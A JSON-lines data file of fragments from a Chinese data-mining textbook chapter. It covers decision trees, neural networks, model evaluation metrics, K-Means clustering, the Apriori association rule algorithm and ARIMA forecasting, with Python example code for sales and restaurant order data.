    {"text": "由于ID3决策树算法采用了信息增益作为选择测试属性的标准，会偏向于选择取值较多的，即所谓高度分支属性，而这类属性并不一定是最优的属性。 同时ID3决策树算法只能处理离散属性，对于连续型的属性，在分类前需要对其进行离散化。 为了解决倾向于选择高度分支属性的问题，人们采用信息增益率作为选择测试属性的标准，这样便得到C4.5决策树算法。"},
    {"text": "代码清单5-2 决策树算法预测销量高低代码 #-*- coding: utf-8 -*- # 使用 ID3 决策树算法预测销量高低 import pandas as pd # 参数初始化 filename = '../data/sales_data.xls' data = pd.read_excel(filename, index_col = u' 序号 ') # 导入数据 # 数据是类别标签，要将它转换为数据 # 用 1 来表示“好”“是”“高”这三个属性，用 -1 来表示“坏”“否”“低” data[data == u' 好 '] = 1 data[data == u' 是 '] = 1 data[data == u' 高 '] = 1 data[data != 1] = -1 x = data.iloc[:,:3].as_matrix().astype(int) y = data.iloc[:,3].as_matrix().astype(int) from sklearn.tree import DecisionTreeClassifier as DTC dtc = DTC(criterion='entropy') # 建立决策树模型，基于信息熵 dtc.fit(x, y) # 训练模型 # 导入相关函数，可视化决策树。"},
    {"text": "from sklearn.tree import export_graphviz from sklearn.externals.six import StringIO with open(\"tree.dot\", 'w') as f: f = export_graphviz(dtc, feature_names = x.columns, out_file = f) 代码详见：示例程序/code/decision_tree.py 运行代码后，将会输出一个tree.dot的文本文件。"},
    {"text": "由于我们输出中包含中文，需要用文本编辑器在文件中指定中文字体，如， digraph Tree { edge [fontname=\"SimHei\"]; /* 添加这两行，指定中文字体（这里是黑体） */ node [fontname=\"SimHei\"]; /* 添加这两行，指定中文字体（这里是黑体） */ 0 [label=\" 是否周末 <= 0.0000\\nentropy = 0.997502546369\\nsamples = 34\", shape=\"box\"] ; 1 [label=\" 是否有促销 <= 0.0000\\nentropy = 0.934068055375\\nsamples = 20\", shape=\"box\"] ; … } 然后将它保存为UTF-8格式。"},
    {"text": "1943年，美国心理学家McCulloch和数学家Pitts联合提出了形式神经元的数学模型MP模型，证明了单个神经元能执行逻辑功能，开创了人工神经网络研究的时代。"},
    {"text": "1969年M.Minsky等仔细分析了以感知器为代表的神经网络系统的功能及局限后，出版了《Perceptron》（感知器）一书，指出感知器不能解决高阶谓词问题，人工神经网络的研究进入一个低谷期。"},
    {"text": "20世纪80年代以后，超大规模集成电路、脑科学、生物学、光学的迅速发展为人工神经网络的发展打下了基础，人工神经网络的发展进入兴盛期。"},
    {"text": "人工神经网络的学习也称为训练，指的是神经网络在受到外部环境的刺激下调整神经网络的参数，使神经网络以一种新的方式对外部环境作出反应的一个过程。 在分类与预测中，人工神将网络主要使用有指导的学习方式，即根据给定的训练样本，调整人工神经网络的参数以使网络输出接近于已知的样本类标记或其他形式的因变量。"},
    {"text": "表5-6 激活函数分类表 在人工神经网络的发展过程中，提出了多种不同的学习规则，没有一种特定的学习算法适用于所有的网络结构和具体问题。"},
    {"text": "误差校正学习算法根据神经网络的输出误差对神经元的连接强度进行修正，属于有指导学习。 设神经网络中神经元i作为输入，神经元j为输出神经元，它们的连接权值为wij，则对权值的修正为Δw ij ＝ηδ j Y i ，其中η为学习率，δ j ＝T j －Y j 为j的偏差，即输出神经元j的实际输出和教师信号之差，示意图如图5-7所示。 图5-7 δ学习规则示意图 神经网络训练是否完成常用误差函数（也称目标函数）E来衡量。"},
    {"text": "误差函数为衡量实际输出向量Y k 与期望值向量T k 误差大小的函数，常采用二乘误差函数来定义为 （或 ）k＝1，2，…，N为训练样本个数。"},
    {"text": "反向传播（Back Propagation，BP）算法的特征是利用输出后的误差来估计输出层的直接前导层的误差，再用这个误差估计更前一层的误差，如此一层一层的反向传播下去，就获得了所有其他各层的误差估计。"},
    {"text": "若输出层节点未能得到期望的输出，则转入误差的逆向传播阶段，将输出误差按某种子形式，通过隐层向输入层返回，并“分摊”给隐层4个节点与输入层x 1 、x 2 、x 3 三个输入节点，从而获得各层单元的参考误差或称误差信号，作为修改各单元权值的依据。"},
    {"text": "比较输出层的值与教师信号值的误差，用误差函数E来判断误差是否小于误差上限，如不小于误差上限，则对中间层和输出层权值和阈值进行更新，更新的算法为δ学习规则。 更新权值和阈值后，再次将样本数据作为输入，得到中间层与输出层的值，计算误差E是否小于上限，学习次数是否到达指定值，如果达到，则学习结束。"},
    {"text": "图5-9 BP算法学习过程流程图 BP算法只用到均方误差函数对权值和阈值的一阶导数（梯度）的信息，使得算法存在收敛速度缓慢、易陷入局部极小等缺陷。"},
    {"text": "为了解决这一问题，Hinton等人于2006年提出了非监督贪心逐层训练算法，为解决深层结构相关的优化难题带来希望，并以此为基础发展成了如今脍炙人口的“深度学习”算法。"},
    {"text": "在第2章我们已经提过，Scikit-Learn中并没有神经网络模型，我们认为Python中比较好的神经网络算法库是Keras，这是一个强大而易用的深度学习算法库。"},
    {"text": "针对表5-5的数据应用神经网络算法进行建模，建立的神经网络有3个输入节点、10个隐藏节点和1个输出节点，其Python代码如代码清单5-3所示。"},
    {"text": "代码清单5-3 神经网络算法预测销量高低 #-*- coding: utf-8 -*- # 使用神经网络算法预测销量高低 import pandas as pd # 参数初始化 inputfile = '../data/sales_data.xls' data = pd.read_excel(inputfile, index_col = u' 序号 ') # 导入数据 # 数据是类别标签，要将它转换为数据 # 用 1 来表示“好”“是”“高”这 3 个属性，用 0 来表示“坏”“否”“低” data[data == u' 好 '] = 1 data[data == u' 是 '] = 1 data[data == u' 高 '] = 1 data[data != 1] = 0 x = data.iloc[:,:3].as_matrix().astype(int) y = data.iloc[:,3].as_matrix().astype(int) from keras.models import Sequential from keras.layers.core import Dense, Activation model = Sequential() # 建立模型 model.add(Dense(3, 10)) model.add(Activation('relu')) # 用 relu 函数作为激活函数，能够大幅提供准确度 model.add(Dense(10, 1)) model.add(Activation('sigmoid')) # 由于是 0-1 输出，用 sigmoid 函数作为激活函数 model.compile(loss = 'binary_crossentropy', optimizer = 'adam', class_mode = 'binary') # 编译模型。"},
    {"text": "由于我们做的是二元分类，所以我们指定损失函数为 binary_crossentropy ，以及模式为 binary # 另外常见的损失函数还有 mean_squared_error 、 categorical_crossentropy 等，请阅读帮助文件。"},
    {"text": "# 求解方法我们指定用 adam ，还有 sgd 、 rmsprop 等可选 model.fit(x, y, nb_epoch = 1000, batch_size = 10) # 训练模型，学习一千次 yp = model.predict_classes(x).reshape(len(y)) # 分类预测 from cm_plot import * # 导入自行编写的混淆矩阵可视化函数 cm_plot(y,yp).show() # 显示混淆矩阵可视化结果 代码详见：示例程序/code/neural_network.py 运行上面的代码，可以得到下面的混淆矩阵图，如图5-10所示。"},
    {"text": "图5-10 BP神经网络预测销量高低混淆矩阵图 从图5-10可以看出，检测样本为34个，预测正确的个数为26个，预测准确率为76.4%，预测准确率较低，是由于神经网络训练时需要较多样本，而这里是由于训练数据较少造成的。"},
    {"text": "5.1.6 分类与预测算法评价 分类与预测模型对训练集进行预测而得出的准确率并不能很好地反映预测模型未来的性能，为了有效判断一个预测模型的性能表现，需要一组没有参与预测模型建立的数据集，并在该数据集上评价预测模型的准确率，这组独立的数据集叫作测试集。"},
    {"text": "（1）绝对误差与相对误差 设Y表示实际值， 表示预测值，则称E为绝对误差（Absolute Error），计算公式如下。 e为相对误差（RelativeError），计算公式如下。"},
    {"text": "由于对误差E进行了平方，加强了数值大的误差在指标中的作用，从而提高了这个指标的灵敏性，是一大优点。 均方误差是误差分析的综合指标法之一。"},
    {"text": "（4）均方根误差 均方根误差（Root Mean Squared Error，RMSE）定义如下。 上式中，RMSE表示均方根误差，其他符号同前。 这是均方误差的平方根，代表了预测值的离散程度，也称为标准误差，最佳拟合情况为RMSE＝0。 均方根误差也是误差分析的综合指标之一。"},
    {"text": "（6）Kappa统计 Kappa统计是比较两个或多个观测者对同一事物，或观测者对同一事物的两次或多次观测结果是否一致，以由于机遇造成的一致性和实际观测的一致性之间的差别大小作为评价基础的统计指标。 Kappa统计量和加权Kappa统计量不仅可以用于无序和有序分类变量资料的一致性、重现性检验，而且能给出一个反映一致性大小的“量”值。"},
    {"text": "·Kappa＝+1说明两次判断的结果完全一致。 ·Kappa＝-1说明两次判断的结果完全不一致。 ·Kappa＝0说明两次判断的结果是机遇造成。 ·Kappa＜0说明一致程度比机遇造成的还差，两次检查结果很不一致，在实际应用中无意义。 ·Kappa＞0此时说明有意义，Kappa越大，说明一致性越好。 ·Kappa≥0.75说明已经取得相当满意的一致程度。 ·Kappa＜0.4说明一致程度不够。"},
    {"text": "·TP（True Positives）：正确的肯定表示正确肯定的分类数。 ·TN（True Negatives）：正确的否定表示正确否定的分类数。 ·FP（False Positives）：错误的肯定表示错误肯定的分类数。 ·FN（False Negatives）：错误的否定表示错误否定的分类数。"},
    {"text": "采用某种识别算法构造分类器C，cmij表示第i类模式被分类器C判断成第j类模式的数据占第i类模式样本总数的百分率，则可得到N×N维混淆矩阵CM（C，D）。"},
    {"text": "各模式正确识别率： 平均正确识别率： 各模式错误识别率： 平均错误识别率： 对于一个二分类预测模型，分类结束后的混淆矩阵如表5-8所示。"},
    {"text": "放到建模之中，我们就会发现，不管是在Scikit-Learn还是Keras中，建模的第一个步骤是建立一个对象，这个对象是空白的，需要进一步训练的，然后我们要设置模型的参数，接着就是通过fit（）方法对模型进行训练，最后通过predict（）方法预测结果。"},
    {"text": "5.2.1 常用聚类分析算法 与分类不同，聚类分析是在没有给定划分类别的情况下，根据数据相似度进行样本分组的一种方法。 与分类模型需要使用有类标记样本构成的训练数据不同，聚类模型可以建立在无类标记的数据上，是一种非监督的学习算法。 聚类的输入是一组未被标记的样本，聚类根据数据自身的距离或相似度将其划分为若干组，划分的原则是组内距离最小化而组间（外部）距离最大化，如图5-11所示。"},
    {"text": "表5-11 常用聚类分析算法 5.2.2 K-Means聚类算法 K-Means算法[11]是典型的基于距离的非层次聚类算法，在最小化误差函数的基础上将数据划分为预定的类数K，采用距离作为相似性的评价指标，即认为两个对象的距离越近，其相似度就越大。"},
    {"text": "在所有对象分配完成后，重新计算K个聚类的中心时，对于连续数据，聚类中心取该簇的均值，但是当样本的某些属性是分类变量时，均值可能无定义，可以使用K-众数方法。"},
    {"text": "（2）文档数据 对于文档数据使用余弦相似性度量，先将文档数据整理成文档-词矩阵格式，见表5-12。 表5-12 文档-词矩阵 两个文档之间的相似度的计算公式为： 3.目标函数 使用误差平方和SSE作为度量聚类质量的目标函数，对于两种不同的聚类结果，选择误差平方和较小的分类结果。"},
    {"text": "代码清单5-4 K-Means聚类算法代码 #-*- coding: utf-8 -*- # 使用 K-Means 算法聚类消费行为特征数据 import pandas as pd # 参数初始化 inputfile = '../data/consumption_data.xls' # 销量及其他属性数据 outputfile = '../tmp/data_type.xls' # 保存结果的文件名 k = 3 # 聚类的类别 iteration = 500 # 聚类最大循环次数 data = pd.read_excel(inputfile, index_col = 'Id') # 读取数据 data_zs = 1.0*(data - data.mean())/data.std() # 数据标准化 from sklearn.cluster import KMeans model = KMeans(n_clusters = k, n_jobs = 4, max_iter = iteration) # 分为 k 类，并发数 4 model.fit(data_zs) # 开始聚类 # 简单打印结果 r1 = pd.Series(model.labels_).value_counts() # 统计各个类别的数目 r2 = pd.DataFrame(model.cluster_centers_) # 找出聚类中心 r = pd.concat([r2, r1], axis = 1) # 横向连接（ 0 是纵向），得到聚类中心对应的类别下的数目 r.columns = list(data.columns) + [u' 类别数目 '] # 重命名表头 print(r) # 详细输出原始数据及其类别 r = pd.concat([data, pd.Series(model.labels_, index = data.index)], axis = 1) # 详细 输出每个样本对应的类别 r.columns = list(data.columns) + [u' 聚类类别 '] # 重命名表头 r.to_excel(outputfile) # 保存结果 代码详见：示例程序/code/k_means.py 注意 事实上，Scikit-Learn中的K-Means算法仅仅支持欧氏距离，原因在于采用其他的距离并不一定能够保证算法的收敛性。"},
    {"text": "表5-15 聚类算法输出结果 接着用Pandas和Matplotlib绘制的不同客户分群的概率密度函数图，通过这些图能直观地比较不同客户群的价值，代码如下。"},
    {"text": "绘制聚类后的概率密度图（接代码清单5-4） def density_plot(data, title): # 自定义作图函数 import matplotlib.pyplot as plt plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 plt.figure() for i in range(len(data.iloc[0])): # 逐列作图 (data.iloc[:,i]).plot(kind='kde', label = data.columns[i], linewidth = 2) plt.ylabel(u' 密度 ') plt.xlabel(u' 人数 ') plt.title(u' 聚类类别 %s 各属性的密度曲线 ' %title) plt.legend() return plt def density_plot(data): # 自定义作图函数 import matplotlib.pyplot as plt plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 p = data.plot(kind='kde', linewidth = 2, subplots = True, sharex = False) [p[i].set_ylabel(u' 密度 ') for i in range(k)] plt.legend() return plt pic_output = '../tmp/pd_' # 概率密度图文件名前缀 for i in range(k): density_plot(data[r[u' 聚类类别 ']==i]).savefig(u'%s%s.png' %(pic_output, i)) 代码详见：示例程序/code/k_means.py 分群的概率密度函数图如图5-12~图5-14所示。"},
    {"text": "对比分析： 分群1时间间隔较短，消费次数多，而且消费金额较大，是高消费、高价值人群。 分群2的时间间隔、消费次数和消费金额处于中等水平，代表着一般客户。 分群3的时间间隔较长，消费次数较少，消费金额也不是特别高，是价值较低的客户群体。"},
    {"text": "其中，x=（x 1 ，x 2 ，…，x k ）是聚类的集合。 x k 表示第k个聚类的集合。 y＝（y 1 ，y 2 ，…，y k ）表示需要被聚类的集合，y i 表示第i个聚类对象。 n表示被聚类集合对象的总数。"},
    {"text": "其中，R是指被聚在一类的两个对象被正确分类了，W是指不应该被聚在一类的两个对象被正确分开了，M指不应该放在一类的对象被错误的放在了一类，D指不应该分开的对象被错误的分开了。"},
    {"text": "5.2.4 Python主要聚类分析算法 Python的聚类相关的算法主要在Scikit-Learn中，Python里面实现的聚类主要包括K-Means聚类、层次聚类、FCM以及神经网络聚类，其主要相关函数如表5-16所示。"},
    {"text": "表5-16 聚类主要函数列表 这些不同模型的使用方法是大同小异的，基本都是先用对应的函数建立模型，然后用.fit（）方法来训练模型，训练好之后，就可以用.label_方法给出样本数据的标签，或者用.predict（）方法预测新的输入的标签。"},
    {"text": "此外，Scipy库也提供了一个聚类子库scipy.cluster，里边提供了一些聚类算法，如层次聚类等，但没有Scikit-Learn那么完善和丰富。 scipy.cluster的好处是它的函数名和功能基本跟Python是一一对应的（Scpiy致力于让Python称为Python般强大），如层次聚类的linkage、dendrogram等，因此已经熟悉Python的朋友，可以尝试使用Scipy提供的聚类库，在此就不详细介绍了。"},
    {"text": "而TSNE提供了一种有效的数据降维方式，让我们可以在2维或者3维的空间中展示聚类结果。 下面我们用TSNE对上述KMeans聚类的结果以二维的方式展示出来。"},
    {"text": "代码清单5-5 用TSNE进行数据降维并展示聚类结果 #-*- coding: utf-8 -*- # 接 k_means.py from sklearn.manifold import TSNE tsne = TSNE() tsne.fit_transform(data_zs) # 进行数据降维 tsne = pd.DataFrame(tsne.embedding_, index = data_zs.index) # 转换数据格式 import matplotlib.pyplot as plt plt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签 plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号 # 不同类别用不同颜色和样式绘图 d = tsne[r[u' 聚类类别 '] == 0] plt.plot(d[0], d[1], 'r.') d = tsne[r[u' 聚类类别 '] == 1] plt.plot(d[0], d[1], 'go') d = tsne[r[u' 聚类类别 '] == 2] plt.plot(d[0], d[1], 'b*') plt.show() 代码详见：示例程序/code/tsne.py 结果如图5-15所示。"},
    {"text": "客户在餐厅点餐时，面对菜单中大量的菜品信息，往往无法迅速找到满意的菜品，既增加了点菜的时间，也降低了客户的就餐体验。 实际上，菜品的合理搭配是有规律可循的：顾客的饮食习惯、菜品的荤素和口味，有些菜品之间是相互关联的，而有些菜品之间是对立或竞争关系（负关联），这些规律都隐藏在大量的历史菜单数据中，如果能够通过数据挖掘发现客户点餐的规则，就可以快速识别客户的口味，当他下了某个菜品的订单时推荐相关联的菜品，引导客户消费，提高顾客的就餐体验和餐饮企业的业绩水平。"},
    {"text": "”他可能会发现如果购买了面包的顾客同时非常有可能会购买牛奶，这就导出了一条关联规则“面包=>牛奶”，其中面包称为规则的前项，而牛奶称为后项。"},
    {"text": "关联规则分析是数据挖掘中最活跃的研究方法之一，目的是在一个数据集中找出各项之间的关联关系，而这种关系并没有在数据中直接表示出来。"},
    {"text": "5.3.2 Apriori算法 以超市销售数据为例，提取关联规则的最大困难在于当存在很多商品时，可能的商品的组合（规则的前项与后项）的数目会达到一种令人望而却步的程度。"},
    {"text": "Apriori[12]算法是最经典的挖掘频繁项集的算法，第一次实现了在大数据集上可行的关联规则提取，其核心思想是通过连接产生候选项与其支持度，然后通过剪枝生成频繁项集。"},
    {"text": "1.关联规则和频繁项集 （1）关联规则的一般形式 项集A、B同时发生的概率称为关联规则的支持度（也称相对支持度）。 项集A发生，则项集B发生的概率为关联规则的置信度。"},
    {"text": "（2）最小支持度和最小置信度 最小支持度是用户或专家定义的衡量支持度的一个阈值，表示项目集在统计意义上的最低重要性； 最小置信度是用户或专家定义的衡量置信度的一个阈值，表示关联规则的最低可靠性。"},
    {"text": "（4）支持度计数 项集A的支持度计数是事务数据集中包含项集A的事务个数，简称为项集的频率或计数。 已知项集的支持度计数，则规则A B的支持度和置信度很容易从所有事务计数、项集A和项集A∪B的支持度计数推出。 也就是说，一旦得到所有事务个数，A，B和A∩B的支持度计数，就可以导出对应的关联规则A B和B A，并可以检查该规则是否是强规则。"},
    {"text": "代码清单5-6 Apriori算法调用代码 #-*- coding: utf-8 -*- # 使用 Apriori 算法挖掘菜品订单关联规则 from __future__ import print_function import pandas as pd from apriori import * # 导入自行编写的 apriori 函数 inputfile = '../data/menu_orders.xls' outputfile = '../tmp/apriori_rules.xls' # 结果文件 data = pd.read_excel(inputfile, header = None) print(u'\\n 转换原始数据至 0-1 矩阵 ...') ct = lambda x : pd.Series(1, index = x[pd.notnull(x)]) # 转换 0-1 矩阵的过渡函数 b = map(ct, data.as_matrix()) # 用 map 方式执行 data = pd.DataFrame(list(b)).fillna(0) # 实现矩阵转换，空值用 0 填充 print(u'\\n 转换完毕。"},
    {"text": "') del b # 删除中间变量 b ，节省内存 support = 0.2 # 最小支持度 confidence = 0.5 # 最小置信度 ms = '---' # 连接符，默认 '--' ，用来区分不同元素，如 A--B 。"},
    {"text": "需要保证原始表格中不含有该字符 find_rule(data, support, confidence, ms).to_excel(outputfile) # 保存结果 代码详见：示例程序/code/cal_apriori.py 运行结果如下。"},
    {"text": "support confidence e---a 0.3 1.000000 e---c 0.3 1.000000 c---e---a 0.3 1.000000 a---e---c 0.3 1.000000 a---b 0.5 0.714286 c---a 0.5 0.714286 a---c 0.5 0.714286 c---b 0.5 0.714286 b---a 0.5 0.625000 b---c 0.5 0.625000 b---c---a 0.3 0.600000 a---c---b 0.3 0.600000 a---b---c 0.3 0.600000 a---c---e 0.3 0.600000 其中，e---a表示e发生能够推出a发生，置信度为100%，支持度为30%； b---c---a表示b、c同时发生时能够推出a发生，置信度为60%，支持度为30%等。"},
    {"text": "2.Ariori算法：使用候选产生频繁项集 Apriori算法的主要思想是找出存在于事务数据集中的最大的频繁项集，在利用得到的最大频繁项集与预先设定的最小置信度阈值生成强关联规则。"},
    {"text": "1）找出所有的频繁项集（支持度必须大于等于给定的最小支持度阈值），在这个过程中连接步和剪枝步互相融合，最终得到最大频繁项集L k 。"},
    {"text": "对给定的最小支持度阈值，分别对1项候选集C 1 ，剔除小于该阈值的项集得到1项频繁集L 1 ； 下一步由L 1 自身连接产生2项候选集C 2 ，保留C 2 中满足约束条件的项集得到2项频繁集，记为L 2 ； 再下一步由L 2 与L 3 连接产生3项候选集C 3 ，保留C 2 中满足约束条件的项集得到3项频繁集，记为L 3 ……这样循环下去，得到最大频繁项集L k 。"},
    {"text": "由于C k 是L k-1 与L 1 连接产生的，根据Apriori的性质频繁项集的所有非空子集也必须是频繁项集，所以不满足该性质的项集不会存在于C k 中，该过程就是剪枝。"},
    {"text": "2）由频繁项集产生强关联规则：由过程1）可知未超过预定的最小支持度阈值的项集已被剔除，如果剩下这些规则又满足了预定的最小置信度阈值，那么就挖掘出了强关联规则。"},
    {"text": "表5-18 数据库中部分点餐数据 将表5-18中的事务数据（一种特殊类型的记录数据）整理成关联规则模型所需的数据结构，从中抽取10个点餐订单作为事务数据集，设支持度为0.2（支持度计数为2），为方便起见将菜品{18491，8842，8693，7794，8705}分别简记为{a，b，c，d，e}，见表5-19。"},
    {"text": "接下来是剪枝步，L 2 与L 1 连接的所有项集为：{a，b，c}，{a，b，d}，{a，b，e}，{a，c，d}，{a，c，e}，{b，c，d}，{b，c，e}，根据Apriori算法，频繁集的所有非空子集也必须是频繁集，因为{b，d}，{b，e}，{c，d}不包含在b项频繁集L 2 中，即不是频繁集，应剔除，最后的C 3 中的项集只有{a，b，c}和{a，c，e}； 6）对C 3 中各项集的支持度与预先设定的最小支持度阈值进行比较，保留大于或等于该阈值的项，得3项频繁集L 3 。 7）L 3 与L 1 连接得候选4项集C 4 ，易得剪枝后为空集。"},
    {"text": "Rule （Support，Confidence） a→b （50%，71.4286%） b→a （50%，62.5%） a→c （50%，71.4286%） c→a （30%，71.4286%） b→c （50%，62.5%） c→b （50%，71.4286%） e→a （30%，100%） e→c （30%，100%） a，b→c （30%，60%） a，c→b （30%，60%） b，c→a （30%，60%） e→a，c （30%，100%） a，c→e （30%，60%） a，e→c （30%，100%） c，e→a （30%，100%） d→b （20%，100%） 就第一条输出结果进行解释：客户同时点菜品a和b的概率是50%，点了菜品a，再点菜品b的概率是71.4286%。"},
    {"text": "如何基于菜品历史销售数据，做好餐饮销售预测，以便减少菜品脱销现象和避免因备料不足而造成的生产延误，从而减少菜品生产等待时间，提供给客户更优质的服务，同时可以减少安全库存量，做到生产准时制，降低物流成本。 餐饮销售预测可以看作是基于时间序列的短期数据预测，预测对象为具体菜品销售量。"},
    {"text": "常用按时间顺序排列的一组随机变量X 1 ，X 2 ，…，X t 来表示一个随机事件的时间序列，简记为{X t }； 用x 1 ，x 2 ，…，x n 或{x t ，t=1，2，…，n}表示该随机序列的n个有序观察值，称之为序列长度为n的观察值序列。"},
    {"text": "对于非平稳序列，由于它的均值和方差不稳定，处理方法一般是将其转变为平稳序列，这样就可以应用有关平稳时间序列的分析方法，如建立ARMA模型来进行相应的研究。 如果一个时间序列经差分运算后具有平稳性，则该序列为差分平稳序列，可以使用ARIMA模型进行分析。 1.平稳性检验 （1）平稳时间序列的定义 对于随机变量X，可以计算其均值（数学期望）、方差σ 2 ；"},
    {"text": "对于两个随机变量量X和Y，可以计算X，Y的协方差cov（X，Y）=E[（X-μX）（Y-μY）]和相关系数ρ（X，Y）=[cov（X，Y）]/（σ X σ Y ），它们度量了两个不同事件之间的相互影响程度。"},
    {"text": "对于时间序列{X t ，t∈T}，任意时刻的序列值X t 都是一个随机变量，每一个随机变量都会有均值和方差，记X t 的均值为μ t ，方差为σ t ； 任取t，s∈T，定义序列{X t }的自协方差函数γ（t，s）=E[（X t -μ t ）（X s -μ s ）]和自相关系数ρ（t，s）=[cov（X t ，X s ）]/（σ t σ s ）（特别地，γ（t，t）=γ（0）=1，ρ 0 =1），之所以称它们为自协方差函数和自相关系数，是因为它们衡量的是同一个事件在两个不同时期（时刻t和s）之间的相关程度，形象地讲就是度量自己过去的行为对自己现在的影响。 如果时间序列{X t ，t∈T}在某一常数附近波动且波动范围有限，即有常数均值和常数方差，并且延迟k期的序列变量的自协方差和自相关系数是相等的或者说延迟k期的序列变量之间的影响程度是一样的，则称{X t ，t∈T}为平稳序列。 （2）平稳性的检验 对序列的平稳性的检验有两种检验方法，一种是根据时序图和自相关图的特征做出判断的图检验，该方法操作简单、应用广泛，缺点是带有主观性；"},
    {"text": "平稳序列具有短期相关性，这个性质表明对平稳序列而言通常只有近期的序列值对现时值的影响比较明显，间隔越远的过去值对现时值的影响越小。 随着延迟期数k的增加，平稳序列的自相关系数ρ k （延迟k期）会比较快的衰减趋向于零，并在零附近随机波动，而非平稳序列的自相关系数衰减的速度比较慢，这就是利用自相关图进行平稳性检验的标准。"},
    {"text": "2.纯随机性检验 如果一个序列是纯随机序列，那么它的序列值之间应该没有任何关系，即满足γ（k）＝0，k≠0这是一种理论上才会出现的理想状态，实际上纯随机序列的样本自相关系数不会绝对为零，但是很接近零，并在零附近随机波动。 纯随机性检验也称白噪声检验，一般是构造检验统计量来检验序列的纯随机性，常用的检验统计量有Q统计量、LB统计量，由样本各延迟期数的自相关系数可以计算得到检验统计量，然后计算出对应的p值，如果p值显著大于显著性水平α，则表示该序列不能拒绝纯随机的原假设，可以停止对该序列的分析。"},
    {"text": "即在t时刻的随机变量X t 的取值x t 是前p期x t-1 ，x t-2 ，…，x t-p 的多元线性回归，认为x t 主要是受过去p期的序列值的影响。"},
    {"text": "表5-21 平稳AR模型的性质 （1）均值 对满足平稳性条件的AR（p）模型的方程，两边取期望，得： 已知E（x t ）=，E（ε t ）=0，所以有=φ 0 +φ 1 μ+φ 2 μ+…+φ p μ， 解得： （2）方差 平稳AR（p）模型的方差有界，等于常数。 （3）自相关系数（ACF） 平稳AR（p）模型的自相关系数ρ k =ρ（t，t-k）= 呈指数的速度衰减，始终有非零取值，不会在k大于某个常数之后就恒等于零，这个性质就是平稳AR（p）模型的自相关系数ρ k 具有拖尾性。 （4）偏自相关系数（PACF） 对于一个平稳AR（p）模型，求出延迟k期自相关系数ρ k 时，实际上的得到的并不是X t 与X t-k 之间单纯的相关关系，因为X t 同时还会受到中间k-1个随机变量X t-1 ，X t-2 ，…，X t-k 的影响，所以自相关系数ρ k 里实际上掺杂了其他变量对X t 与X t-k 的相关影响，为了单纯地测度X t-k 对X t 的影响，引进偏自相关系数的概念。 可以证明平稳AR（p）模型的偏自相关系数具有p阶截尾性。 这个性质连同前面的自相关系数的拖尾性是AR（p）模型重要的识别依据。"},
    {"text": "即在t时刻的随机变量X t 的取值x t 是前q期的随机扰动ε t-1， ε t-2 ，…，ε t-q 的多元线性函数，误差项是当期的随机干扰ε t ，为零均值白噪声序列，μ是序列{X t }的均值。"},
    {"text": "平稳MA（q）模型的性质见表5-22。 表5-22 平稳MA模型的性质 3.ARMA模型 具有如下结构的模型称为自回归移动平均模型，简记为ARMA（p，q）。"},
    {"text": "即在t时刻的随机变量X t 的取值x t 是前p期x t-1 ，x t-2 ，…，x t-p 和前q期ε t-1 ，ε t-2 ，…，ε t-q 的多元线性函数，误差项是当期的随机干扰ε t ，为零均值白噪声序列。"},
    {"text": "表5-23 平稳ARMA模型的性质 4.平稳时间序列建模 某个时间序列经过预处理，被判定为平稳非白噪声序列，就可以利用ARMA模型进行建模。 计算出平稳非白噪声序列{X t }的自相关系数和偏自相关系数，再由AP（p）模型、MA（q）和ARMA（p，q）的自相关系数和偏自相关系数的性质，选择合适的模型。"},
    {"text": "对非平稳时间序列的分析方法可以分为确定性因素分解的时序分析和随机时序分析两大类。 确定性因素分解的方法把所有序列的变化都归结为4个因素（长期趋势、季节变动、循环变动和随机波动）的综合影响，其中长期趋势和季节变动的规律性信息通常比较容易提取，而由随机因素导致的波动则非常难确定和分析，对随机信息浪费严重，会导致模型拟合精度不够理想。 随机时序分析法的发展就是为了弥补确定性因素分解方法的不足。 根据时间序列的不同特点，随机时序分析可以建立的模型有ARIMA模型、残差自回归模型、季节模型、异方差模型等。"},
    {"text": "1.差分运算 （1）p阶差分 相距一期的两个序列值之间的减法运算称为1阶差分运算。 （2）k步差分 相距k期的两个序列值之间的减法运算称为k步差分运算。"},
    {"text": "2.ARIMA模型 差分运算具有强大的确定性信息提取能力，许多非平稳序列差分后会显示出平稳序列的性质，这时称这个非平稳序列为差分平稳序列。"},
    {"text": "差分平稳时间序列建模步骤如图5-18所示。 图5-18 差分平稳时间序列建模步骤 下面应用以上的理论知识，对表5-25中2015/1/1~2015/2/6某餐厅的销售数据进行建模。"},
    {"text": "表5-25 某餐厅的销量数据 数据详见：示例程序/data/arima_data.xls （1）检验序列的平稳性 图5-19 原始序列的时序图 图5-20 原始序列的自相关图 表5-26 原始序列的单位根检验 图5-19时序图显示该序列具有明显的单调递增趋势，可以判断为是非平稳序列；"},
    {"text": "图5-21 一阶差分之后序列的时序图 图5-22 一阶差分之后序列的自相关图 一阶差分之后序列的单位根检验如表5-27所示。 表5-27 一阶差分之后序列的单位根检验 结果显示，一阶差分之后的序列的时序图在均值附近比较平稳的波动、自相关图有很强的短期相关性、单位根检验p值小于0.05，所以一阶差分之后的序列是平稳序列。"},
    {"text": "2）对一阶差分后的序列做白噪声检验（结果见表5-28）。 表5-28 一阶差分之后序列的白噪声检验 输出的p值远小于0.05，所以一阶差分之后的序列是平稳非白噪声序列。"},
    {"text": "一阶差分后自相关图（见图5-23）显示出1阶截尾，偏自相关图显示出拖尾性，所以可以考虑用MA（1）模型拟合1阶差分后的序列，即对原始序列建立ARIMA（0，1，1）模型。 图5-23 一阶差分后序列的偏自相关图 第二种方法：相对最优模型识别。"},
    {"text": "表5-29 模型参数 （4）ARIMA模型预测 应用ARIMA（0，1，1）对表530中2015/1/1~2015/2/6某餐厅的销售数据做为期5天的预测，结果如下。"},
